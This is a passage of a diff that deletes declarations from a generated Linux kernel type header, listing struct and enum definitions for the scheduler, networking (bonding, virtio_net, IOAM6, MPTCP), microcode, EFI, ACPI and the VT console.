nr_switches; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - struct cfs_rq cfs; - struct rt_rq rt; - struct dl_rq dl; - struct list_head leaf_cfs_rq_list; - struct list_head *tmp_alone_branch; - unsigned int nr_uninterruptible; - struct task_struct *curr; - struct task_struct *idle; - struct task_struct *stop; - long unsigned int next_balance; - struct mm_struct *prev_mm; - unsigned int clock_update_flags; - u64 clock; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - u64 clock_task; - u64 clock_pelt; - long unsigned int lost_idle_time; - u64 clock_pelt_idle; - u64 clock_idle; - atomic_t nr_iowait; - u64 last_seen_need_resched_ns; - int ticks_without_resched; - int membarrier_state; - struct root_domain *rd; - struct sched_domain *sd; - long unsigned int cpu_capacity; - long unsigned int cpu_capacity_orig; - struct balance_callback *balance_callback; - unsigned char nohz_idle_balance; - unsigned char idle_balance; - long unsigned int misfit_task_load; - int active_balance; - int push_cpu; - struct cpu_stop_work active_balance_work; - int cpu; - int online; - struct list_head cfs_tasks; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - struct sched_avg avg_rt; - struct sched_avg avg_dl; - u64 idle_stamp; - u64 avg_idle; - long unsigned int wake_stamp; - u64 wake_avg_idle; - u64 max_idle_balance_cost; - struct rcuwait hotplug_wait; - long unsigned int calc_load_update; - long int calc_load_active; - call_single_data_t hrtick_csd; - struct hrtimer hrtick_timer; - ktime_t hrtick_time; - struct sched_info rq_sched_info; - long long unsigned int rq_cpu_time; - unsigned int yld_count; - unsigned int sched_count; - unsigned int sched_goidle; - unsigned int ttwu_count; - unsigned int ttwu_local; - struct cpuidle_state *idle_state; - unsigned int nr_pinned; - unsigned int push_busy; - struct cpu_stop_work push_work; - long: 64; - long: 64; - long: 64; -}; - -struct perf_domain { - struct em_perf_domain *em_pd; - struct perf_domain *next; - struct callback_head rcu; -}; - -struct balance_callback { - struct balance_callback *next; - void (*func)(struct rq *); -}; - -struct rq_flags { - long unsigned int flags; - struct pin_cookie cookie; - unsigned int clock_update_flags; -}; - -enum { - __SCHED_FEAT_GENTLE_FAIR_SLEEPERS = 0, - __SCHED_FEAT_START_DEBIT = 1, - __SCHED_FEAT_NEXT_BUDDY = 2, - __SCHED_FEAT_LAST_BUDDY = 3, - __SCHED_FEAT_CACHE_HOT_BUDDY = 4, - __SCHED_FEAT_WAKEUP_PREEMPTION = 5, - __SCHED_FEAT_HRTICK = 6, - __SCHED_FEAT_HRTICK_DL = 7, - __SCHED_FEAT_DOUBLE_TICK = 8, - __SCHED_FEAT_NONTASK_CAPACITY = 9, - __SCHED_FEAT_TTWU_QUEUE = 10, - __SCHED_FEAT_SIS_PROP = 11, - __SCHED_FEAT_SIS_UTIL = 12, - __SCHED_FEAT_WARN_DOUBLE_CLOCK = 13, - __SCHED_FEAT_RT_PUSH_IPI = 14, - __SCHED_FEAT_RT_RUNTIME_SHARE = 15, - __SCHED_FEAT_LB_MIN = 16, - __SCHED_FEAT_ATTACH_AGE_LOAD = 17, - __SCHED_FEAT_WA_IDLE = 18, - __SCHED_FEAT_WA_WEIGHT = 19, - __SCHED_FEAT_WA_BIAS = 20, - __SCHED_FEAT_UTIL_EST = 21, - __SCHED_FEAT_UTIL_EST_FASTUP = 22, - __SCHED_FEAT_LATENCY_WARN = 23, - __SCHED_FEAT_ALT_PERIOD = 24, - __SCHED_FEAT_BASE_SLICE = 25, - __SCHED_FEAT_NR = 26, -}; - -struct idle_timer { - struct hrtimer timer; - int done; -}; - -typedef struct rt_rq *rt_rq_iter_t; - -enum { - I_DATA_SEM_NORMAL = 0, - I_DATA_SEM_OTHER = 1, - I_DATA_SEM_QUOTA = 2, -}; - -struct sigevent { - sigval_t sigev_value; - int sigev_signo; - int sigev_notify; - union { - int _pad[12]; - int _tid; - struct { - void (*_function)(sigval_t); - void *_attribute; - } _sigev_thread; - } _sigev_un; -}; - -enum inode_i_mutex_lock_class { - I_MUTEX_NORMAL = 0, - I_MUTEX_PARENT = 1, - I_MUTEX_CHILD = 2, - I_MUTEX_XATTR = 3, - I_MUTEX_NONDIR2 = 4, - I_MUTEX_PARENT2 = 5, -}; - -struct mqueue_fs_context { - struct ipc_namespace *ipc_ns; - bool newns; -}; - -struct posix_msg_tree_node { - struct rb_node rb_node; - struct list_head msg_list; - int priority; -}; - -struct ext_wait_queue { - struct task_struct *task; - struct list_head list; - struct msg_msg *msg; - int state; -}; - -struct mqueue_inode_info { - spinlock_t lock; - struct inode vfs_inode; - wait_queue_head_t wait_q; - struct rb_root msg_tree; - struct rb_node *msg_tree_rightmost; - struct posix_msg_tree_node *node_cache; - struct mq_attr attr; - struct sigevent notify; - struct pid *notify_owner; - u32 notify_self_exec_id; - struct user_namespace *notify_user_ns; - struct ucounts *ucounts; - struct sock *notify_sock; - struct sk_buff *notify_cookie; - struct ext_wait_queue e_wait_q[2]; - long unsigned int qsize; -}; - -struct io_cancel_data { - struct io_ring_ctx *ctx; - union { - u64 data; - struct file *file; - }; - u32 flags; - int seq; -}; - -struct io_timeout_data { - struct io_kiocb *req; - struct hrtimer timer; - struct timespec64 ts; - enum hrtimer_mode mode; - u32 flags; -}; - -struct io_timeout { - struct file *file; - u32 off; - u32 target_seq; - struct list_head list; - struct io_kiocb *head; - struct io_kiocb *prev; -}; - -struct io_timeout_rem { - struct file *file; - u64 addr; - struct timespec64 ts; - u32 flags; - bool ltimeout; -}; - -struct ldsem_waiter { - struct list_head list; - struct task_struct *task; -}; - -struct tcpa_event { - u32 pcr_index; - u32 event_type; - u8 pcr_value[20]; - u32 event_size; - u8 event_data[0]; -}; - -struct tcpa_pc_event { - u32 event_id; - u32 event_size; - u8 event_data[0]; -}; - -enum tcpa_pc_event_ids { - SMBIOS = 1, - BIS_CERT = 2, - POST_BIOS_ROM = 3, - ESCD = 4, - CMOS = 5, - NVRAM = 6, - OPTION_ROM_EXEC = 7, - OPTION_ROM_CONFIG = 8, - OPTION_ROM_MICROCODE = 10, - S_CRTM_VERSION = 11, - S_CRTM_CONTENTS = 12, - POST_CONTENTS = 13, - HOST_TABLE_OF_DEVICES = 14, -}; - -struct flow_dissector_key { - enum flow_dissector_key_id key_id; - size_t offset; -}; - -struct ifbond { - __s32 bond_mode; - __s32 num_slaves; - __s32 miimon; -}; - -typedef struct ifbond ifbond; - -struct ifslave { - __s32 slave_id; - char slave_name[16]; - __s8 link; - __s8 state; - __u32 link_failure_count; -}; - -typedef struct ifslave ifslave; - -struct ad_info { - __u16 aggregator_id; - __u16 ports; - __u16 actor_key; - __u16 partner_key; - __u8 partner_system[6]; -}; - -enum netdev_lag_tx_type { - NETDEV_LAG_TX_TYPE_UNKNOWN = 0, - NETDEV_LAG_TX_TYPE_RANDOM = 1, - NETDEV_LAG_TX_TYPE_BROADCAST = 2, - NETDEV_LAG_TX_TYPE_ROUNDROBIN = 3, - NETDEV_LAG_TX_TYPE_ACTIVEBACKUP = 4, - NETDEV_LAG_TX_TYPE_HASH = 5, -}; - -enum netdev_lag_hash { - NETDEV_LAG_HASH_NONE = 0, - NETDEV_LAG_HASH_L2 = 1, - NETDEV_LAG_HASH_L34 = 2, - NETDEV_LAG_HASH_L23 = 3, - NETDEV_LAG_HASH_E23 = 4, - NETDEV_LAG_HASH_E34 = 5, - NETDEV_LAG_HASH_VLAN_SRCMAC = 6, - NETDEV_LAG_HASH_UNKNOWN = 7, -}; - -struct netdev_lag_upper_info { - enum netdev_lag_tx_type tx_type; - enum netdev_lag_hash hash_type; -}; - -struct netdev_lag_lower_state_info { - u8 link_up: 1; - u8 tx_enabled: 1; -}; - -enum skb_free_reason { - SKB_REASON_CONSUMED = 0, - SKB_REASON_DROPPED = 1, -}; - -struct netdev_nested_priv { - unsigned char flags; - void *data; -}; - -struct netdev_bonding_info { - ifslave slave; - ifbond master; -}; - -struct vlan_ethhdr { - union { - struct { - unsigned char h_dest[6]; - unsigned char h_source[6]; - }; - struct { - unsigned char h_dest[6]; - unsigned char h_source[6]; - } addrs; - }; - __be16 h_vlan_proto; - __be16 h_vlan_TCI; - __be16 h_vlan_encapsulated_proto; -}; - -struct hwtstamp_config { - int flags; - int tx_type; - int rx_filter; -}; - -enum hwtstamp_flags { - HWTSTAMP_FLAG_BONDED_PHC_INDEX = 1, - HWTSTAMP_FLAG_LAST = 1, - HWTSTAMP_FLAG_MASK = 1, -}; - -struct arphdr { - __be16 ar_hrd; - __be16 ar_pro; - unsigned char ar_hln; - unsigned char ar_pln; - __be16 ar_op; -}; - -struct mii_ioctl_data { - __u16 phy_id; - __u16 reg_num; - __u16 val_in; - __u16 val_out; -}; - -enum { - BOND_AD_STABLE = 0, - BOND_AD_BANDWIDTH = 1, - BOND_AD_COUNT = 2, -}; - -enum { - BOND_OPT_MODE = 0, - BOND_OPT_PACKETS_PER_SLAVE = 1, - BOND_OPT_XMIT_HASH = 2, - BOND_OPT_ARP_VALIDATE = 3, - BOND_OPT_ARP_ALL_TARGETS = 4, - BOND_OPT_FAIL_OVER_MAC = 5, - BOND_OPT_ARP_INTERVAL = 6, - BOND_OPT_ARP_TARGETS = 7, - BOND_OPT_DOWNDELAY = 8, - BOND_OPT_UPDELAY = 9, - BOND_OPT_LACP_RATE = 10, - BOND_OPT_MINLINKS = 11, - BOND_OPT_AD_SELECT = 12, - BOND_OPT_NUM_PEER_NOTIF = 13, - BOND_OPT_MIIMON = 14, - BOND_OPT_PRIMARY = 15, - BOND_OPT_PRIMARY_RESELECT = 16, - BOND_OPT_USE_CARRIER = 17, - BOND_OPT_ACTIVE_SLAVE = 18, - BOND_OPT_QUEUE_ID = 19, - BOND_OPT_ALL_SLAVES_ACTIVE = 20, - BOND_OPT_RESEND_IGMP = 21, - BOND_OPT_LP_INTERVAL = 22, - BOND_OPT_SLAVES = 23, - BOND_OPT_TLB_DYNAMIC_LB = 24, - BOND_OPT_AD_ACTOR_SYS_PRIO = 25, - BOND_OPT_AD_ACTOR_SYSTEM = 26, - BOND_OPT_AD_USER_PORT_KEY = 27, - BOND_OPT_NUM_PEER_NOTIF_ALIAS = 28, - BOND_OPT_PEER_NOTIF_DELAY = 29, - BOND_OPT_LACP_ACTIVE = 30, - BOND_OPT_MISSED_MAX = 31, - BOND_OPT_NS_TARGETS = 32, - BOND_OPT_PRIO = 33, - BOND_OPT_LAST = 34, -}; - -struct bond_opt_value { - char *string; - u64 value; - u32 flags; - union { - char extra[16]; - struct net_device *slave_dev; - }; -}; - -struct bond_option { - int id; - const char *name; - const char *desc; - u32 flags; - long unsigned int unsuppmodes; - const struct bond_opt_value *values; - int (*set)(struct bonding *, const struct bond_opt_value *); -}; - -struct bond_vlan_tag { - __be16 vlan_proto; - short unsigned int vlan_id; -}; - -struct bond_net { - struct net *net; - struct list_head dev_list; - struct proc_dir_entry *proc_dir; - struct class_attribute class_attr_bonding_masters; -}; - -struct rhashtable_walker { - struct list_head list; - struct bucket_table *tbl; -}; - -struct rhashtable_iter { - struct rhashtable *ht; - struct rhash_head *p; - struct rhlist_head *list; - struct rhashtable_walker walker; - unsigned int slot; - unsigned int skip; - bool end_of_table; -}; - -struct ioam6_trace_hdr { - __be16 namespace_id; - char: 2; - __u8 overflow: 1; - __u8 nodelen: 5; - __u8 remlen: 7; - union { - __be32 type_be32; - struct { - __u32 bit7: 1; - __u32 bit6: 1; - __u32 bit5: 1; - __u32 bit4: 1; - __u32 bit3: 1; - __u32 bit2: 1; - __u32 bit1: 1; - __u32 bit0: 1; - __u32 bit15: 1; - __u32 bit14: 1; - __u32 bit13: 1; - __u32 bit12: 1; - __u32 bit11: 1; - __u32 bit10: 1; - __u32 bit9: 1; - __u32 bit8: 1; - __u32 bit23: 1; - __u32 bit22: 1; - __u32 bit21: 1; - __u32 bit20: 1; - __u32 bit19: 1; - __u32 bit18: 1; - __u32 bit17: 1; - __u32 bit16: 1; - } type; - }; - __u8 data[0]; -}; - -enum { - IOAM6_ATTR_UNSPEC = 0, - IOAM6_ATTR_NS_ID = 1, - IOAM6_ATTR_NS_DATA = 2, - IOAM6_ATTR_NS_DATA_WIDE = 3, - IOAM6_ATTR_SC_ID = 4, - IOAM6_ATTR_SC_DATA = 5, - IOAM6_ATTR_SC_NONE = 6, - IOAM6_ATTR_PAD = 7, - __IOAM6_ATTR_MAX = 8, -}; - -enum { - IOAM6_CMD_UNSPEC = 0, - IOAM6_CMD_ADD_NAMESPACE = 1, - IOAM6_CMD_DEL_NAMESPACE = 2, - IOAM6_CMD_DUMP_NAMESPACES = 3, - IOAM6_CMD_ADD_SCHEMA = 4, - IOAM6_CMD_DEL_SCHEMA = 5, - IOAM6_CMD_DUMP_SCHEMAS = 6, - IOAM6_CMD_NS_SET_SCHEMA = 7, - __IOAM6_CMD_MAX = 8, -}; - -struct ioam6_pernet_data { - struct mutex lock; - struct rhashtable namespaces; - struct rhashtable schemas; -}; - -enum genl_validate_flags { - GENL_DONT_VALIDATE_STRICT = 1, - GENL_DONT_VALIDATE_DUMP = 2, - GENL_DONT_VALIDATE_DUMP_STRICT = 4, -}; - -struct ioam6_schema; - -struct ioam6_namespace { - struct rhash_head head; - struct callback_head rcu; - struct ioam6_schema *schema; - __be16 id; - __be32 data; - __be64 data_wide; -}; - -struct ioam6_schema { - struct rhash_head head; - struct callback_head rcu; - struct ioam6_namespace *ns; - u32 id; - int len; - __be32 hdr; - u8 data[0]; -}; - -enum { - MPTCP_PM_ATTR_UNSPEC = 0, - MPTCP_PM_ATTR_ADDR = 1, - MPTCP_PM_ATTR_RCV_ADD_ADDRS = 2, - MPTCP_PM_ATTR_SUBFLOWS = 3, - MPTCP_PM_ATTR_TOKEN = 4, - MPTCP_PM_ATTR_LOC_ID = 5, - MPTCP_PM_ATTR_ADDR_REMOTE = 6, - __MPTCP_PM_ATTR_MAX = 7, -}; - -struct mptcp_pm_addr_entry { - struct list_head list; - struct mptcp_addr_info addr; - u8 flags; - int ifindex; - struct socket *lsk; -}; - -enum { - PERF_BR_SPEC_NA = 0, - PERF_BR_SPEC_WRONG_PATH = 1, - PERF_BR_NON_SPEC_CORRECT_PATH = 2, - PERF_BR_SPEC_CORRECT_PATH = 3, - PERF_BR_SPEC_MAX = 4, -}; - -struct branch_entry { - union { - struct { - u64 ip: 58; - u64 ip_sign_ext: 5; - u64 mispredict: 1; - } split; - u64 full; - } from; - union { - struct { - u64 ip: 58; - u64 ip_sign_ext: 3; - u64 reserved: 1; - u64 spec: 1; - u64 valid: 1; - } split; - u64 full; - } to; -}; - -struct cpio_data { - void *data; - size_t size; - char name[18]; -}; - -struct ucode_patch { - struct list_head plist; - void *data; - unsigned int size; - u32 patch_id; - u16 equiv_cpu; -}; - -struct cpu_signature { - unsigned int sig; - unsigned int pf; - unsigned int rev; -}; - -enum ucode_state { - UCODE_OK = 0, - UCODE_NEW = 1, - UCODE_UPDATED = 2, - UCODE_NFOUND = 3, - UCODE_ERROR = 4, -}; - -struct microcode_ops { - enum ucode_state (*request_microcode_fw)(int, struct device *, bool); - void (*microcode_fini_cpu)(int); - enum ucode_state (*apply_microcode)(int); - int (*collect_cpu_info)(int, struct cpu_signature *); -}; - -struct ucode_cpu_info { - struct cpu_signature cpu_sig; - int valid; - void *mc; -}; - -struct microcode_header_intel { - unsigned int hdrver; - unsigned int rev; - unsigned int date; - unsigned int sig; - unsigned int cksum; - unsigned int ldrver; - unsigned int pf; - unsigned int datasize; - unsigned int totalsize; - unsigned int reserved[3]; -}; - -struct microcode_intel { - struct microcode_header_intel hdr; - unsigned int bits[0]; -}; - -struct extended_signature { - unsigned int sig; - unsigned int pf; - unsigned int cksum; -}; - -struct extended_sigtable { - unsigned int count; - unsigned int cksum; - unsigned int reserved[3]; - struct extended_signature sigs[0]; -}; - -union efi_boot_services; - -typedef union efi_boot_services efi_boot_services_t; - -typedef struct { - efi_table_hdr_t hdr; - u32 fw_vendor; - u32 fw_revision; - u32 con_in_handle; - u32 con_in; - u32 con_out_handle; - u32 con_out; - u32 stderr_handle; - u32 stderr; - u32 runtime; - u32 boottime; - u32 nr_tables; - u32 tables; -} efi_system_table_32_t; - -union efi_simple_text_input_protocol; - -typedef union efi_simple_text_input_protocol efi_simple_text_input_protocol_t; - -union efi_simple_text_output_protocol; - -typedef union efi_simple_text_output_protocol efi_simple_text_output_protocol_t; - -typedef union { - struct { - efi_table_hdr_t hdr; - long unsigned int fw_vendor; - u32 fw_revision; - long unsigned int con_in_handle; - efi_simple_text_input_protocol_t *con_in; - long unsigned int con_out_handle; - efi_simple_text_output_protocol_t *con_out; - long unsigned int stderr_handle; - long unsigned int stderr; - efi_runtime_services_t *runtime; - efi_boot_services_t *boottime; - long unsigned int nr_tables; - long unsigned int tables; - }; - efi_system_table_32_t mixed_mode; -} efi_system_table_t; - -typedef int (*efi_memattr_perm_setter)(struct mm_struct *, efi_memory_desc_t *); - -struct rt_mutex_waiter { - struct rb_node tree_entry; - struct rb_node pi_tree_entry; - struct task_struct *task; - struct rt_mutex_base *lock; - unsigned int wake_state; - int prio; - u64 deadline; - struct ww_acquire_ctx *ww_ctx; -}; - -enum { - FUTEX_STATE_OK = 0, - FUTEX_STATE_EXITING = 1, - FUTEX_STATE_DEAD = 2, -}; - -struct futex_hash_bucket { - atomic_t waiters; - spinlock_t lock; - struct plist_head chain; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; -}; - -enum futex_access { - FUTEX_READ = 0, - FUTEX_WRITE = 1, -}; - -struct rt_wake_q_head { - struct wake_q_head head; - struct task_struct *rtlock_task; -}; - -enum { - TRACE_FUNC_NO_OPTS = 0, - TRACE_FUNC_OPT_STACK = 1, - TRACE_FUNC_OPT_NO_REPEATS = 2, - TRACE_FUNC_OPT_HIGHEST_BIT = 4, -}; - -struct movable_operations { - bool (*isolate_page)(struct page *, isolate_mode_t); - int (*migrate_page)(struct page *, struct page *, enum migrate_mode); - void (*putback_page)(struct page *); -}; - -struct hashtab_info { - u32 slots_used; - u32 max_chain_len; -}; - -struct hashtab_key_params { - u32 (*hash)(const void *); - int (*cmp)(const void *, const void *); -}; - -struct perm_datum { - u32 value; -}; - -struct role_trans_key { - u32 role; - u32 type; - u32 tclass; -}; - -struct role_trans_datum { - u32 new_role; -}; - -struct filename_trans_key { - u32 ttype; - u16 tclass; - const char *name; -}; - -struct filename_trans_datum { - struct ebitmap stypes; - u32 otype; - struct filename_trans_datum *next; -}; - -struct level_datum { - struct mls_level *level; - unsigned char isalias; -}; - -struct cat_datum { - u32 value; - unsigned char isalias; -}; - -struct range_trans { - u32 source_type; - u32 target_type; - u32 target_class; -}; - -struct policydb_compat_info { - int version; - int sym_num; - int ocon_num; -}; - -struct rtattr { - short unsigned int rta_len; - short unsigned int rta_type; -}; - -struct crypto_aead_spawn { - struct crypto_spawn base; -}; - -struct crypto_rng; - -struct rng_alg { - int (*generate)(struct crypto_rng *, const u8 *, unsigned int, u8 *, unsigned int); - int (*seed)(struct crypto_rng *, const u8 *, unsigned int); - void (*set_ent)(struct crypto_rng *, const u8 *, unsigned int); - unsigned int seedsize; - struct crypto_alg base; -}; - -struct crypto_rng { - struct crypto_tfm base; -}; - -typedef bool busy_tag_iter_fn(struct request *, void *); - -struct show_busy_params { - struct seq_file *m; - struct blk_mq_hw_ctx *hctx; -}; - -struct pcie_link_state { - struct pci_dev *pdev; - struct pci_dev *downstream; - struct pcie_link_state *root; - struct pcie_link_state *parent; - struct list_head sibling; - u32 aspm_support: 7; - u32 aspm_enabled: 7; - u32 aspm_capable: 7; - u32 aspm_default: 7; - int: 4; - u32 aspm_disable: 7; - u32 clkpm_capable: 1; - u32 clkpm_enabled: 1; - u32 clkpm_default: 1; - u32 clkpm_disable: 1; -}; - -struct acpi_ged_device { - struct device *dev; - struct list_head event_list; -}; - -struct acpi_ged_event { - struct list_head node; - struct device *dev; - unsigned int gsi; - unsigned int irq; - acpi_handle handle; -}; - -struct acpi_connection_info { - u8 *connection; - u16 length; - u8 access_length; -}; - -struct acpi_pcc_info { - u8 subspace_id; - u16 length; - u8 *internal_buffer; -}; - -struct acpi_reg_walk_info { - u32 function; - u32 reg_run_count; - acpi_adr_space_type space_id; -}; - -struct acpi_rsconvert_info { - u8 opcode; - u8 resource_offset; - u8 aml_offset; - u8 value; -}; - -enum { - ACPI_RSC_INITGET = 0, - ACPI_RSC_INITSET = 1, - ACPI_RSC_FLAGINIT = 2, - ACPI_RSC_1BITFLAG = 3, - ACPI_RSC_2BITFLAG = 4, - ACPI_RSC_3BITFLAG = 5, - ACPI_RSC_6BITFLAG = 6, - ACPI_RSC_ADDRESS = 7, - ACPI_RSC_BITMASK = 8, - ACPI_RSC_BITMASK16 = 9, - ACPI_RSC_COUNT = 10, - ACPI_RSC_COUNT16 = 11, - ACPI_RSC_COUNT_GPIO_PIN = 12, - ACPI_RSC_COUNT_GPIO_RES = 13, - ACPI_RSC_COUNT_GPIO_VEN = 14, - ACPI_RSC_COUNT_SERIAL_RES = 15, - ACPI_RSC_COUNT_SERIAL_VEN = 16, - ACPI_RSC_DATA8 = 17, - ACPI_RSC_EXIT_EQ = 18, - ACPI_RSC_EXIT_LE = 19, - ACPI_RSC_EXIT_NE = 20, - ACPI_RSC_LENGTH = 21, - ACPI_RSC_MOVE_GPIO_PIN = 22, - ACPI_RSC_MOVE_GPIO_RES = 23, - ACPI_RSC_MOVE_SERIAL_RES = 24, - ACPI_RSC_MOVE_SERIAL_VEN = 25, - ACPI_RSC_MOVE8 = 26, - ACPI_RSC_MOVE16 = 27, - ACPI_RSC_MOVE32 = 28, - ACPI_RSC_MOVE64 = 29, - ACPI_RSC_SET8 = 30, - ACPI_RSC_SOURCE = 31, - ACPI_RSC_SOURCEX = 32, -}; - -struct acpi_vendor_uuid { - u8 subtype; - u8 data[16]; -}; - -struct acpi_vendor_walk_info { - struct acpi_vendor_uuid *uuid; - struct acpi_buffer *buffer; - acpi_status status; -}; - -typedef __kernel_long_t __kernel_ptrdiff_t; - -typedef __kernel_ptrdiff_t ptrdiff_t; - -typedef short unsigned int ushort; - -struct console_font_op { - unsigned int op; - unsigned int flags; - unsigned int width; - unsigned int height; - unsigned int charcount; - unsigned char *data; -}; - -typedef uint32_t char32_t; - -struct uni_screen { - char32_t *lines[0]; -}; - -enum translation_map { - LAT1_MAP = 0, - GRAF_MAP = 1, - IBMPC_MAP = 2, - USER_MAP = 3, - FIRST_MAP = 0, - LAST_MAP = 3, -}; - -struct vt_notifier_param { - struct vc_data *vc; - unsigned int c; -}; - -struct con_driver { - const struct consw *con; - const char *desc; - struct device *dev; - int node; - int first; - int last; - int flag; -}; - -enum { - blank_off = 0, - blank_normal_wait = 1, - blank_vesa_wait = 2, -}; - -enum { - EPecma = 0, - EPdec = 1, - EPeq = 2, - EPgt = 3, - EPlt = 4, -}; - -struct rgb { - u8 r; - u8 g; - u8 b; -}; - -enum { - ESnormal = 0, - ESesc = 1, - ESsquare = 2, - ESgetpars = 3, - ESfunckey = 4, - EShash = 5, - ESsetG0 = 6, - ESsetG1 = 7, - ESpercent = 8, - EScsiignore = 9, - ESnonstd = 10, - ESpalette = 11, - ESosc = 12, - ESapc = 13, - ESpm = 14, - ESdcs = 15, -}; - -struct interval { - uint32_t first; - uint32_t last; -}; - -struct vc_draw_region { - long unsigned int from; - long unsigned int to; - int x; -}; - -enum pkt_hash_types { - PKT_HASH_TYPE_NONE = 0, - PKT_HASH_TYPE_L2 = 1, - PKT_HASH_TYPE_L3 = 2, - PKT_HASH_TYPE_L4 = 3, -}; - -enum xdp_mem_type { - MEM_TYPE_PAGE_SHARED = 0, - MEM_TYPE_PAGE_ORDER0 = 1, - MEM_TYPE_PAGE_POOL = 2, - MEM_TYPE_XSK_BUFF_POOL = 3, - MEM_TYPE_MAX = 4, -}; - -enum netdev_queue_state_t { - __QUEUE_STATE_DRV_XOFF = 0, - __QUEUE_STATE_STACK_XOFF = 1, - __QUEUE_STATE_FROZEN = 2, -}; - -enum ethtool_stringset { - ETH_SS_TEST = 0, - ETH_SS_STATS = 1, - ETH_SS_PRIV_FLAGS = 2, - ETH_SS_NTUPLE_FILTERS = 3, - ETH_SS_FEATURES = 4, - ETH_SS_RSS_HASH_FUNCS = 5, - ETH_SS_TUNABLES = 6, - ETH_SS_PHY_STATS = 7, - ETH_SS_PHY_TUNABLES = 8, - ETH_SS_LINK_MODES = 9, - ETH_SS_MSG_CLASSES = 10, - ETH_SS_WOL_MODES = 11, - ETH_SS_SOF_TIMESTAMPING = 12, - ETH_SS_TS_TX_TYPES = 13, - ETH_SS_TS_RX_FILTERS = 14, - ETH_SS_UDP_TUNNEL_TYPES = 15, - ETH_SS_STATS_STD = 16, - ETH_SS_STATS_ETH_PHY = 17, - ETH_SS_STATS_ETH_MAC = 18, - ETH_SS_STATS_ETH_CTRL = 19, - ETH_SS_STATS_RMON = 20, - ETH_SS_COUNT = 21, -}; - -struct virtio_net_config { - __u8 mac[6]; - __virtio16 status; - __virtio16 max_virtqueue_pairs; - __virtio16 mtu; - __le32 speed; - __u8 duplex; - __u8 rss_max_key_size; - __le16 rss_max_indirection_table_length; - __le32 supported_hash_types; -}; - -struct virtio_net_hdr_v1 { - __u8 flags; - __u8 gso_type; - __virtio16 hdr_len; - __virtio16 gso_size; - union { - struct { - __virtio16 csum_start; - __virtio16 csum_offset; - }; - struct { - __virtio16 start; - __virtio16 offset; - } csum; - struct { - __le16 segments; - __le16 dup_acks; - } rsc; - }; - __virtio16 num_buffers; -}; - -struct virtio_net_hdr_v1_hash { - struct virtio_net_hdr_v1 hdr; - __le32 hash_value; - __le16 hash_report; - __le16 padding; -}; - -struct virtio_net_hdr_mrg_rxbuf { - struct virtio_net_hdr hdr; - __virtio16 num_buffers; -}; - -struct virtio_net_ctrl_hdr { - __u8 class; - __u8 cmd; -}; - -typedef __u8 virtio_net_ctrl_ack; - -struct virtio_net_ctrl_mac { - __virtio32 entries; - __u8 macs[0]; -}; - -struct virtio_net_ctrl_mq { - __virtio16 virtqueue_pairs; -}; - -struct virtio_net_ctrl_coal_tx { - __le32 tx_max_packets; - __le32 tx_usecs; -}; - -struct virtio_net_ctrl_coal_rx { - __le32 rx_max_packets; - __le32 rx_usecs; -}; - -struct failover_ops { - int (*slave_pre_register)(struct net_device *, struct net_device *); - int (*slave_register)(struct net_device *, struct net_device *); - int (*slave_pre_unregister)(struct net_device *, struct net_device *); - int (*slave_unregister)(struct net_device *, struct net_device *); - int (*slave_link_change)(struct net_device *, struct net_device *); - int (*slave_name_change)(struct net_device *, struct net_device *); - rx_handler_result_t (*slave_handle_frame)(struct sk_buff **); -}; - -struct failover { - struct list_head list; - struct net_device *failover_dev; - netdevice_tracker dev_tracker; - struct failover_ops *ops; -}; - -struct ewma_pkt_len { - long unsigned int internal; -}; - -struct virtnet_stat_desc { - char desc[32]; - size_t offset; -}; - -struct virtnet_sq_stats { - struct u64_stats_sync syncp; - u64 packets; - u64 bytes; - u64 xdp_tx; - u64 xdp_tx_drops; - u64 kicks; - u64 tx_timeouts; -}; - -struct virtnet_rq_stats { - struct u64_stats_sync syncp; - u64 packets; - u64 bytes; - u64 drops; - u64 xdp_packets; - u64 xdp_tx; - u64 xdp_redirects; - u64 xdp_drops; - u64 kicks; -}; - -struct send_queue { - struct virtqueue *vq; - struct scatterlist sg[19]; - char name[40]; - struct virtnet_sq_stats stats; - struct napi_struct napi; - bool reset; -}; - -struct receive_queue { - struct virtqueue *vq; - struct napi_struct napi; - struct bpf_prog *xdp_prog; - struct virtnet_rq_stats stats; - struct page *pages; - struct ewma_pkt_len mrg_avg_pkt_len; - struct page_frag alloc_frag; - struct scatterlist sg[19]; - unsigned int min_buf_len; - char name[40]; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - struct xdp_rxq_info xdp_rxq; -}; - -struct virtio_net_ctrl_rss { - u32 hash_types; - u16 indirection_table_mask; - u16 unclassified_queue; - u16 indirection_table[128]; - u16 max_tx_vq; - u8 hash_key_length; - u8 key[40]; -}; - -struct control_buf { - struct virtio_net_ctrl_hdr hdr; - virtio_net_ctrl_ack status; - struct virtio_net_ctrl_mq mq; - u8 promisc; - u8 allmulti; - __virtio16 vid; - __virtio64 offloads; - struct virtio_net_ctrl_rss rss; -}; - -struct virtnet_info { - struct virtio_device *vdev; - struct virtqueue *cvq; - struct net_device *dev; - struct send_queue *sq; - struct receive_queue *rq; - unsigned int status; - u16 max_queue_pairs; - u16 curr_queue_pairs; - u16 xdp_queue_pairs; - bool xdp_enabled; - bool big_packets; - unsigned int big_packets_num_skbfrags; - bool mergeable_rx_bufs; - bool has_rss; - bool has_rss_hash_report; - u8 rss_key_size; - u16 rss_indir_table_size; - u32 rss_hash_types_supported; - u32 rss_hash_types_saved; - bool has_cvq; - bool any_header_sg; - u8 hdr_len; - struct delayed_work refill; - bool refill_enabled; - spinlock_t refill_lock; - struct work_struct config_work; - bool affinity_hint_set; - struct hlist_node node; - struct hlist_node node_dead; - struct control_buf *ctrl; - u8 duplex; - u32 speed; - u32 tx_usecs; - u32 rx_usecs; - u32 tx_max_packets; - u32 rx_max_packets; - long unsigned int guest_offloads; - long unsigned int guest_offloads_capable; - struct failover *failover; -}; - -enum xfrm_ae_ftype_t { - XFRM_AE_UNSPEC = 0, - XFRM_AE_RTHR = 1, - XFRM_AE_RVAL = 2, - XFRM_AE_LVAL = 4, - XFRM_AE_ETHR = 8, - XFRM_AE_CR = 16, - XFRM_AE_CE = 32, - XFRM_AE_CU = 64, - __XFRM_AE_MAX = 65, -}; - -enum xfrm_nlgroups { - XFRMNLGRP_NONE = 0, - XFRMNLGRP_ACQUIRE = 1, - XFRMNLGRP_EXPIRE = 2, - XFRMNLGRP_SA = 3, - XFRMNLGRP_POLICY = 4, - XFRMNLGRP_AEVENTS 